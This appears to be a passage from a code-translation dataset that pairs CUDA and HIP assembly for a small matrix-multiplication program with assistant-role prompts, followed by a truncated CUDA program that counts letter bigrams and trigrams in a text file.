v_ashrrev_i32_e32 v2, 31, v1
v_mov_b32_e32 v6, 0
v_mov_b32_e32 v4, v0
s_mov_b32 s2, s3
v_lshlrev_b64 v[2:3], 2, v[1:2]
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v2, vcc_lo, s4, v2
v_add_co_ci_u32_e32 v3, vcc_lo, s5, v3, vcc_lo
.p2align 6
.LBB0_3:
v_ashrrev_i32_e32 v5, 31, v4
s_add_i32 s2, s2, -1
s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(VALU_DEP_1)
s_cmp_eq_u32 s2, 0
v_lshlrev_b64 v[7:8], 2, v[4:5]
v_add_nc_u32_e32 v4, s3, v4
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_3)
v_add_co_u32 v7, vcc_lo, s6, v7
v_add_co_ci_u32_e32 v8, vcc_lo, s7, v8, vcc_lo
global_load_b32 v5, v[2:3], off
global_load_b32 v7, v[7:8], off
v_add_co_u32 v2, vcc_lo, v2, 4
v_add_co_ci_u32_e32 v3, vcc_lo, 0, v3, vcc_lo
s_waitcnt vmcnt(0)
v_fmac_f32_e32 v6, v5, v7
s_cbranch_scc0 .LBB0_3
s_branch .LBB0_5
.LBB0_4:
v_mov_b32_e32 v6, 0
.LBB0_5:
s_load_b64 s[0:1], s[0:1], 0x10
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add_nc_u32_e32 v0, v1, v0
v_ashrrev_i32_e32 v1, 31, v0
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[0:1], 2, v[0:1]
s_waitcnt lgkmcnt(0)
v_add_co_u32 v0, vcc_lo, s0, v0
s_delay_alu instid0(VALU_DEP_2)
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v1, vcc_lo
global_store_b32 v[0:1], v6, off
.LBB0_6:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z6matMulPfS_S_ii
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 288
.amdhsa_user_sgpr_count 14
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 1
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 1
.amdhsa_next_free_vgpr 9
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z6matMulPfS_S_ii, .Lfunc_end0-_Z6matMulPfS_S_ii
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 8
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 16
.size: 8
.value_kind: global_buffer
- .offset: 24
.size: 4
.value_kind: by_value
- .offset: 28
.size: 4
.value_kind: by_value
- .offset: 32
.size: 4
.value_kind: hidden_block_count_x
- .offset: 36
.size: 4
.value_kind: hidden_block_count_y
- .offset: 40
.size: 4
.value_kind: hidden_block_count_z
- .offset: 44
.size: 2
.value_kind: hidden_group_size_x
- .offset: 46
.size: 2
.value_kind: hidden_group_size_y
- .offset: 48
.size: 2
.value_kind: hidden_group_size_z
- .offset: 50
.size: 2
.value_kind: hidden_remainder_x
- .offset: 52
.size: 2
.value_kind: hidden_remainder_y
- .offset: 54
.size: 2
.value_kind: hidden_remainder_z
- .offset: 72
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 80
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 88
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 96
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 288
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z6matMulPfS_S_ii
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z6matMulPfS_S_ii.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 9
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting from CUDA host assembly to AMD host assembly. | .file "tmpxft_0007a1ed_00000000-6_MultMatrix.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2060:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2060:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z31__device_stub__Z6matMulPfS_S_iiPfS_S_ii
.type _Z31__device_stub__Z6matMulPfS_S_iiPfS_S_ii, @function
_Z31__device_stub__Z6matMulPfS_S_iiPfS_S_ii:
.LFB2082:
.cfi_startproc
endbr64
subq $152, %rsp
.cfi_def_cfa_offset 160
movq %rdi, 24(%rsp)
movq %rsi, 16(%rsp)
movq %rdx, 8(%rsp)
movl %ecx, 4(%rsp)
movl %r8d, (%rsp)
movq %fs:40, %rax
movq %rax, 136(%rsp)
xorl %eax, %eax
leaq 24(%rsp), %rax
movq %rax, 96(%rsp)
leaq 16(%rsp), %rax
movq %rax, 104(%rsp)
leaq 8(%rsp), %rax
movq %rax, 112(%rsp)
leaq 4(%rsp), %rax
movq %rax, 120(%rsp)
movq %rsp, %rax
movq %rax, 128(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $1, 56(%rsp)
movl $1, 60(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
leaq 40(%rsp), %rcx
leaq 32(%rsp), %rdx
leaq 60(%rsp), %rsi
leaq 48(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 136(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $152, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 40(%rsp)
.cfi_def_cfa_offset 168
pushq 40(%rsp)
.cfi_def_cfa_offset 176
leaq 112(%rsp), %r9
movq 76(%rsp), %rcx
movl 84(%rsp), %r8d
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
leaq _Z6matMulPfS_S_ii(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 160
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2082:
.size _Z31__device_stub__Z6matMulPfS_S_iiPfS_S_ii, .-_Z31__device_stub__Z6matMulPfS_S_iiPfS_S_ii
.globl _Z6matMulPfS_S_ii
.type _Z6matMulPfS_S_ii, @function
_Z6matMulPfS_S_ii:
.LFB2083:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z31__device_stub__Z6matMulPfS_S_iiPfS_S_ii
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2083:
.size _Z6matMulPfS_S_ii, .-_Z6matMulPfS_S_ii
.section .rodata.str1.1,"aMS",@progbits,1
.LC2:
.string "\n\nMatriz resultante:\n"
.LC3:
.string "%.2f"
.LC4:
.string "\n"
.text
.globl main
.type main, @function
main:
.LFB2057:
.cfi_startproc
endbr64
pushq %r15
.cfi_def_cfa_offset 16
.cfi_offset 15, -16
pushq %r14
.cfi_def_cfa_offset 24
.cfi_offset 14, -24
pushq %r13
.cfi_def_cfa_offset 32
.cfi_offset 13, -32
pushq %r12
.cfi_def_cfa_offset 40
.cfi_offset 12, -40
pushq %rbp
.cfi_def_cfa_offset 48
.cfi_offset 6, -48
pushq %rbx
.cfi_def_cfa_offset 56
.cfi_offset 3, -56
subq $88, %rsp
.cfi_def_cfa_offset 144
movq %fs:40, %rax
movq %rax, 72(%rsp)
xorl %eax, %eax
movl $100, %edi
call malloc@PLT
movq %rax, %r14
movl $100, %edi
call malloc@PLT
movq %rax, %r13
movl $100, %edi
call malloc@PLT
movq %rax, 8(%rsp)
movl $20, %edx
movss .LC0(%rip), %xmm1
movss .LC1(%rip), %xmm0
.L12:
leaq -20(%rdx), %rax
.L13:
movss %xmm1, (%r14,%rax)
movss %xmm0, 0(%r13,%rax)
addq $4, %rax
cmpq %rdx, %rax
jne .L13
addq $20, %rdx
cmpq $120, %rdx
jne .L12
leaq 24(%rsp), %rdi
movl $100, %esi
call cudaMalloc@PLT
leaq 32(%rsp), %rdi
movl $100, %esi
call cudaMalloc@PLT
leaq 40(%rsp), %rdi
movl $100, %esi
call cudaMalloc@PLT
movl $1, %ecx
movl $100, %edx
movq %r14, %rsi
movq 24(%rsp), %rdi
call cudaMemcpy@PLT
movl $1, %ecx
movl $100, %edx
movq %r13, %rsi
movq 32(%rsp), %rdi
call cudaMemcpy@PLT
movl $256, 60(%rsp)
movl $1, 64(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $0, %r9d
movl $0, %r8d
movq 60(%rsp), %rdx
movl $1, %ecx
movq 48(%rsp), %rdi
movl $1, %esi
call __cudaPushCallConfiguration@PLT
testl %eax, %eax
je .L23
.L15:
movl $2, %ecx
movl $100, %edx
movq 40(%rsp), %rsi
movq 8(%rsp), %rbx
movq %rbx, %rdi
call cudaMemcpy@PLT
leaq .LC2(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
leaq 100(%rbx), %rbp
leaq 600(%rbx), %r15
leaq .LC3(%rip), %r12
jmp .L16
.L23:
movl $5, %r8d
movl $5, %ecx
movq 40(%rsp), %rdx
movq 32(%rsp), %rsi
movq 24(%rsp), %rdi
call _Z31__device_stub__Z6matMulPfS_S_iiPfS_S_ii
jmp .L15
.L24:
leaq .LC4(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
addq $20, %rbp
cmpq %r15, %rbp
je .L18
.L16:
leaq -100(%rbp), %rbx
.L17:
pxor %xmm0, %xmm0
cvtss2sd (%rbx), %xmm0
movq %r12, %rsi
movl $2, %edi
movl $1, %eax
call __printf_chk@PLT
addq $4, %rbx
cmpq %rbp, %rbx
jne .L17
jmp .L24
.L18:
movq 24(%rsp), %rdi
call cudaFree@PLT
movq 32(%rsp), %rdi
call cudaFree@PLT
movq 40(%rsp), %rdi
call cudaFree@PLT
movq %r14, %rdi
call free@PLT
movq %r13, %rdi
call free@PLT
movq 8(%rsp), %rdi
call free@PLT
movq 72(%rsp), %rax
subq %fs:40, %rax
jne .L25
movl $0, %eax
addq $88, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %rbp
.cfi_def_cfa_offset 40
popq %r12
.cfi_def_cfa_offset 32
popq %r13
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
ret
.L25:
.cfi_restore_state
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2057:
.size main, .-main
.section .rodata.str1.1
.LC5:
.string "_Z6matMulPfS_S_ii"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2085:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC5(%rip), %rdx
movq %rdx, %rcx
leaq _Z6matMulPfS_S_ii(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2085:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.section .rodata.cst4,"aM",@progbits,4
.align 4
.LC0:
.long 1065353216
.align 4
.LC1:
.long 1073741824
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: | .text
.file "MultMatrix.hip"
.globl _Z21__device_stub__matMulPfS_S_ii # -- Begin function _Z21__device_stub__matMulPfS_S_ii
.p2align 4, 0x90
.type _Z21__device_stub__matMulPfS_S_ii,@function
_Z21__device_stub__matMulPfS_S_ii: # @_Z21__device_stub__matMulPfS_S_ii
.cfi_startproc
# %bb.0:
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 72(%rsp)
movq %rsi, 64(%rsp)
movq %rdx, 56(%rsp)
movl %ecx, 4(%rsp)
movl %r8d, (%rsp)
leaq 72(%rsp), %rax
movq %rax, 80(%rsp)
leaq 64(%rsp), %rax
movq %rax, 88(%rsp)
leaq 56(%rsp), %rax
movq %rax, 96(%rsp)
leaq 4(%rsp), %rax
movq %rax, 104(%rsp)
movq %rsp, %rax
movq %rax, 112(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 80(%rsp), %r9
movl $_Z6matMulPfS_S_ii, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $136, %rsp
.cfi_adjust_cfa_offset -136
retq
.Lfunc_end0:
.size _Z21__device_stub__matMulPfS_S_ii, .Lfunc_end0-_Z21__device_stub__matMulPfS_S_ii
.cfi_endproc
# -- End function
.globl main # -- Begin function main
.p2align 4, 0x90
.type main,@function
main: # @main
.cfi_startproc
# %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
pushq %r15
.cfi_def_cfa_offset 24
pushq %r14
.cfi_def_cfa_offset 32
pushq %r13
.cfi_def_cfa_offset 40
pushq %r12
.cfi_def_cfa_offset 48
pushq %rbx
.cfi_def_cfa_offset 56
subq $152, %rsp
.cfi_def_cfa_offset 208
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
.cfi_offset %rbp, -16
movl $100, %edi
callq malloc
movq %rax, %rbx
movl $100, %edi
callq malloc
movq %rax, %r14
movl $100, %edi
callq malloc
movq %rax, %r15
xorl %eax, %eax
movq %rbx, %rcx
movq %r14, %rdx
.p2align 4, 0x90
.LBB1_1: # %.preheader57
# =>This Loop Header: Depth=1
# Child Loop BB1_2 Depth 2
xorl %esi, %esi
.p2align 4, 0x90
.LBB1_2: # Parent Loop BB1_1 Depth=1
# => This Inner Loop Header: Depth=2
movl $1065353216, (%rcx,%rsi,4) # imm = 0x3F800000
movl $1073741824, (%rdx,%rsi,4) # imm = 0x40000000
incq %rsi
cmpq $5, %rsi
jne .LBB1_2
# %bb.3: # in Loop: Header=BB1_1 Depth=1
incq %rax
addq $20, %rdx
addq $20, %rcx
cmpq $5, %rax
jne .LBB1_1
# %bb.4:
leaq 24(%rsp), %rdi
movl $100, %esi
callq hipMalloc
leaq 16(%rsp), %rdi
movl $100, %esi
callq hipMalloc
leaq 8(%rsp), %rdi
movl $100, %esi
callq hipMalloc
movq 24(%rsp), %rdi
movl $100, %edx
movq %rbx, %rsi
movl $1, %ecx
callq hipMemcpy
movq 16(%rsp), %rdi
movl $100, %edx
movq %r14, %rsi
movl $1, %ecx
callq hipMemcpy
movabsq $4294967297, %rdi # imm = 0x100000001
leaq 255(%rdi), %rdx
movl $1, %esi
movl $1, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq __hipPushCallConfiguration
testl %eax, %eax
jne .LBB1_6
# %bb.5:
movq 24(%rsp), %rax
movq 16(%rsp), %rcx
movq 8(%rsp), %rdx
movq %rax, 104(%rsp)
movq %rcx, 96(%rsp)
movq %rdx, 88(%rsp)
movl $5, 36(%rsp)
movl $5, 32(%rsp)
leaq 104(%rsp), %rax
movq %rax, 112(%rsp)
leaq 96(%rsp), %rax
movq %rax, 120(%rsp)
leaq 88(%rsp), %rax
movq %rax, 128(%rsp)
leaq 36(%rsp), %rax
movq %rax, 136(%rsp)
leaq 32(%rsp), %rax
movq %rax, 144(%rsp)
leaq 72(%rsp), %rdi
leaq 56(%rsp), %rsi
leaq 48(%rsp), %rdx
leaq 40(%rsp), %rcx
callq __hipPopCallConfiguration
movq 72(%rsp), %rsi
movl 80(%rsp), %edx
movq 56(%rsp), %rcx
movl 64(%rsp), %r8d
leaq 112(%rsp), %r9
movl $_Z6matMulPfS_S_ii, %edi
pushq 40(%rsp)
.cfi_adjust_cfa_offset 8
pushq 56(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $16, %rsp
.cfi_adjust_cfa_offset -16
.LBB1_6:
movq 8(%rsp), %rsi
movl $100, %edx
movq %r15, %rdi
movl $2, %ecx
callq hipMemcpy
movl $.Lstr, %edi
callq puts@PLT
xorl %r12d, %r12d
movq %r15, %r13
.p2align 4, 0x90
.LBB1_7: # %.preheader
# =>This Loop Header: Depth=1
# Child Loop BB1_8 Depth 2
xorl %ebp, %ebp
.p2align 4, 0x90
.LBB1_8: # Parent Loop BB1_7 Depth=1
# => This Inner Loop Header: Depth=2
movss (%r13,%rbp,4), %xmm0 # xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
movl $.L.str.1, %edi
movb $1, %al
callq printf
incq %rbp
cmpq $25, %rbp
jne .LBB1_8
# %bb.9: # in Loop: Header=BB1_7 Depth=1
movl $10, %edi
callq putchar@PLT
incq %r12
addq $20, %r13
cmpq $25, %r12
jne .LBB1_7
# %bb.10:
movq 24(%rsp), %rdi
callq hipFree
movq 16(%rsp), %rdi
callq hipFree
movq 8(%rsp), %rdi
callq hipFree
movq %rbx, %rdi
callq free
movq %r14, %rdi
callq free
movq %r15, %rdi
callq free
xorl %eax, %eax
addq $152, %rsp
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %r12
.cfi_def_cfa_offset 40
popq %r13
.cfi_def_cfa_offset 32
popq %r14
.cfi_def_cfa_offset 24
popq %r15
.cfi_def_cfa_offset 16
popq %rbp
.cfi_def_cfa_offset 8
retq
.Lfunc_end1:
.size main, .Lfunc_end1-main
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB2_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB2_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z6matMulPfS_S_ii, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end2:
.size __hip_module_ctor, .Lfunc_end2-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB3_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB3_2:
retq
.Lfunc_end3:
.size __hip_module_dtor, .Lfunc_end3-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z6matMulPfS_S_ii,@object # @_Z6matMulPfS_S_ii
.section .rodata,"a",@progbits
.globl _Z6matMulPfS_S_ii
.p2align 3, 0x0
_Z6matMulPfS_S_ii:
.quad _Z21__device_stub__matMulPfS_S_ii
.size _Z6matMulPfS_S_ii, 8
.type .L.str.1,@object # @.str.1
.section .rodata.str1.1,"aMS",@progbits,1
.L.str.1:
.asciz "%.2f"
.size .L.str.1, 5
.type .L__unnamed_1,@object # @0
.L__unnamed_1:
.asciz "_Z6matMulPfS_S_ii"
.size .L__unnamed_1, 18
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.type .Lstr,@object # @str
.section .rodata.str1.1,"aMS",@progbits,1
.Lstr:
.asciz "\n\nMatriz resultante:"
.size .Lstr, 21
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z21__device_stub__matMulPfS_S_ii
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z6matMulPfS_S_ii
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA device assembly. | #include <algorithm>
#include <ctime>
#include <cuda_runtime_api.h>
#include <fstream>
#include <iostream>
#include <list>
#include <map>
#include <numeric>
#include <sstream>
#include <string>
#include <stdio.h>
#include <stdlib.h>
using namespace std;
static void CheckCudaErrorAux(const char *, unsigned, const char *,
cudaError_t);
#define CUDA_CHECK_RETURN(value) CheckCudaErrorAux(__FILE__,__LINE__, #value, value)
bool FIND_BIGRAM = false; //true = find brigrams; false = find trigrams
bool PRINT = false; //if set to true it will print the found bigrams and trigrams
int GRID_DIM = 10; // grid size
int BLOCK_DIM = 128; //block size
std::string nameFile = "inputTextLong.txt"; //the name of the text file to analyse
// this utility method allows the user to better understand the CUDA errors
static void CheckCudaErrorAux(const char *file, unsigned line,
const char *statement, cudaError_t err) {
if (err == cudaSuccess)
return;
std::cerr << statement << " returned " << cudaGetErrorString(err) << "("
<< err << ") at " << file << ":" << line << std::endl;
exit(1);
}
// converts the passed text line into only lower case alphabet characters
__host__ string clean(string in) {
string final;
for(int i = 0; i < in.length(); i++) {
if(isalpha(in[i])) final += tolower(in[i]);
}
return final;
}
// this method finds the graphems (bigram or trigram) using the CPU
__host__ void findGraphemsWithCPU(string line, std::map<std::string,int> &graphems) {
int tail = FIND_BIGRAM? 1 : 2;
for(int i = 0; i < line.length()-tail; i++) {
string key = std::string() + line[i] + line[i+1];
if(!FIND_BIGRAM)
key = key + line[i+2];
std::map<std::string,int>::iterator it = graphems.find(key);
if(it != graphems.end()){
it->second++;
}else{
graphems.insert(std::make_pair(key, 1));
}
}
}
// this method finds the graphems (bigram or trigram) using the CPU
__host__ std::map<std::string,int> methodWithCPU(std::string line){
std::map<std::string,int> graphems;
findGraphemsWithCPU(line,graphems);
return graphems;
}
// this method converts a character into an int
__device__ int getCharIndex(char c){
return (c - 'a');
}
//this method finds the graphems (bigram or trigram) using the GPU
__global__ void findGraphemsWithGPU(const char *line, int* graphemsArray, int sliceLength, int lineLength, bool findBigram) {
int startPoint =
blockDim.x * blockIdx.x +
threadIdx.x;
startPoint *= sliceLength;
int endPoint = startPoint + sliceLength - 1;
int tail = findBigram? 1 : 2;
endPoint += tail;
int index1;
int index2;
int index3;
if((startPoint+tail) < lineLength ){
index2 = getCharIndex(line[startPoint]);
if(!findBigram) {
index3 = getCharIndex(line[startPoint+1]);
}
}
while((startPoint+tail) <= endPoint && (startPoint+tail) < lineLength){
index1 = index2;
if(findBigram) {
index2 = getCharIndex(line[startPoint+tail]);
atomicAdd(&graphemsArray[index1 * 26 + index2 ], 1);
}else{
index2 = index3;
index3 = getCharIndex(line[startPoint+tail]);
atomicAdd(&graphemsArray[index1 * 26 * 26 + index2 * 26 + index3], 1);
}
startPoint++;
}
return;
}
// this method prints the graphems found with the GPU
__host__ void print(int *graphemsArrayHost){
int lengthGraphems = FIND_BIGRAM? 26*26 : 26*26*26;
std::string alphabet = "abcdefghijklmnopqrstuvwxyz";
for(int i = 0 ; i < lengthGraphems; i++){
if(graphemsArrayHost[i] != 0){
div_t result1 = std::div(i,26);
div_t result2 = std::div(result1.quot,26);
if(FIND_BIGRAM){
cout << (std::string() + alphabet[result2.rem]+ alphabet[result1.rem]) << " = " << graphemsArrayHost[i] << "\n";
}else{
div_t result3 = std::div(result2.quot,26);
cout << (std::string() + alphabet[result3.rem]+ alphabet[result2.rem] + alphabet[result1.rem]) << " = " << graphemsArrayHost[i] << "\n";
}
}
}
}
// this method finds the graphems (bigram or trigram) using the GPU
__host__ int* methodWithGPU(std::string line){
// GRAPHEMS ARRAY
int lengthGraphems = FIND_BIGRAM? 26*26 : 26*26*26;
int *graphemsArrayDevice;
int *graphemsArrayHost=(int*)calloc(lengthGraphems,sizeof(int));
// allocate device memory
CUDA_CHECK_RETURN(
cudaMalloc((void ** )&graphemsArrayDevice,
sizeof(int) * lengthGraphems));
// copy from host to device memory
CUDA_CHECK_RETURN(
cudaMemcpy(graphemsArrayDevice, graphemsArrayHost, lengthGraphems * sizeof(int),
cudaMemcpyHostToDevice));
// TEXT LINE
int lengthLine = line.length();
char *lineDevice;
// allocate device memory
CUDA_CHECK_RETURN(
cudaMalloc((void ** )&lineDevice,
sizeof(char) * lengthLine));
//
// copy from host to device memory
CUDA_CHECK_RETURN(
cudaMemcpy(lineDevice, line.c_str(), lengthLine * sizeof(char),
cudaMemcpyHostToDevice));
// execute kernel
int totalthreadNumber = GRID_DIM * BLOCK_DIM;
int sliceLength = ceil(float(lengthLine)/float(totalthreadNumber));
findGraphemsWithGPU<<< GRID_DIM, BLOCK_DIM >>>(lineDevice, graphemsArrayDevice, sliceLength, lengthLine, FIND_BIGRAM);
//
cudaDeviceSynchronize();
// copy results from device memory to host
CUDA_CHECK_RETURN(
